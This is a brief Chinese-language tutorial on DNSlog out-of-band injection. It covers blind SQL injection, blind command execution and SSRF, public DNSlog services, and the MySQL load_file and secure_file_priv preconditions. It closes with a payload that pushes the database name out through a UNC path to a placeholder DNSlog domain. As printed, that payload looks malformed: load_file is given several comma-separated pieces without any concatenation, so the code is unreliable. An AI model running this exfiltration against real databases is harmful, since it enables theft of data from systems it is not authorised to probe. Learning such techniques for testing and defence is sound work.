💎一站式轻松地调用各大LLM模型接口,支持GPT4、智谱、豆包、星火、月之暗面及文生图、文生视频 广告
[TOC] ## 什么是DNSlog 就是DNS解析日志,可以利用DNSlog进行注入并回显信息,完成快速注入 ## DNSlog注入的原理 就是在目标没有回显,但目标可以发送DNS请求的时候,可以通过DNSlog把想要获取的数据带出来,在DNSlog日志中查看 ## 常用的场景 ~~~ 1.SQL注入中的盲注; 2.无回显的命令执行; 3.无回显的SSRF ~~~ ## 常用的平台 ~~~ http://www.dnslog.cn http://admin.dnslog.link http://ceye.io ~~~ ## sql盲注中使用NSlog的条件 ~~~ 1. MySQL开启 load\_file(),即服务端配置可读写目录和正确的用户权限 2. DNSLog回显平台( www.dnslog.cn 、 ceye.io ) 3. Windows平台(使用UNC路径) ~~~ ## 前提条件\_secure\_file\_priv三种状态 ~~~ secure_file_priv 为null 表示不允许导入导出 secure_file_priv 指定文件夹时,表示mysql的导入导出只能发生在指定的文件夹 secure_file_priv 没有设置时,则表示没有任何限制 ~~~ ## LOAD\_FILE()函数: 语法为: ``` load_file(file_name) ``` 其中file_name是文件的完整路径,读取一个文件并将 其内容作为字符串返回 ## 常用语句 ~~~ select load_file("\\\\",database(),".DNSlog网址\\abc") ~~~ ## 备注 ~~~ 单斜杠表示转义,双斜杠才能表示正常的\符号 ~~~